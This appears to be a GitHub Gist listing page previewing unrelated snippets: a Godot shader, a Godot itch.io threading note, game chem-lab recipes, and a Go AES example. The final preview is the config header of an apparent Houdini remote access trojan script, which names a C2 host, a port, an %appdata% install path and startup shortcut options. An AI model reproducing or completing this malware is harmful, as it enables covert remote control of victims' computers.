Skip to content

Instantly share code, notes, and snippets.

@jtiai
jtiai / starfield.gdshader
Created September 26, 2022 20:16
Conversion of Art of Code starfield shader to Godot shader
shader_type canvas_item;
#define NUM_LAYERS 4.
mat2 rotate(float a) {
float s = sin(a), c = cos(a);
return mat2(vec2(c, -s), vec2(s, c));
}
float star(vec2 uv, float flare) {

Godot Threads on Itch.io

UPDATE

As of Feb 2023, itch.io supports SharedArrayBuffer on Firefox, so this document should be unnecessary.

Introduction

Itch.io has recently implemented the ability to use SharedArrayBuffer on its site, which means you can export games with Threads enabled for HTML5. You can learn more about this here. This is great for Godot, as it helps to improve/fix the sound laggyness that sometimes occurs in web builds. It is also now required for Godot 4.

@Hobey
Hobey / TC Chemlab.md
Last active October 29, 2022 21:06
King Arthur's Gold - Territory Control - Chemical Laboratory
Recipes and Mechanics as of Territory Control v130  
TC's code for Chemlab recipes and pressure logic is in "kag_folder\mods\TFlippy_TerritoryControl_Structures_v130\Entities\Structures\DrugLab\DrugLab.as"

General Info

50 Methane  adds 3.75k base pressure
50 Acid     adds 3.75k base pressure
50 Fuel     adds    5k base pressure
50 Mustard  adds  2.5k base pressure
@tscholl2
tscholl2 / aes.go
Last active March 29, 2024 11:06
simple AES encryption/decryption example with PBKDF2 key derivation in Go, Javascript, and Python
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"fmt"
"strings"
'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "bog5151.zapto.org"
port = 991
installdir = "%appdata%"
lnkfile = true
lnkfolder = true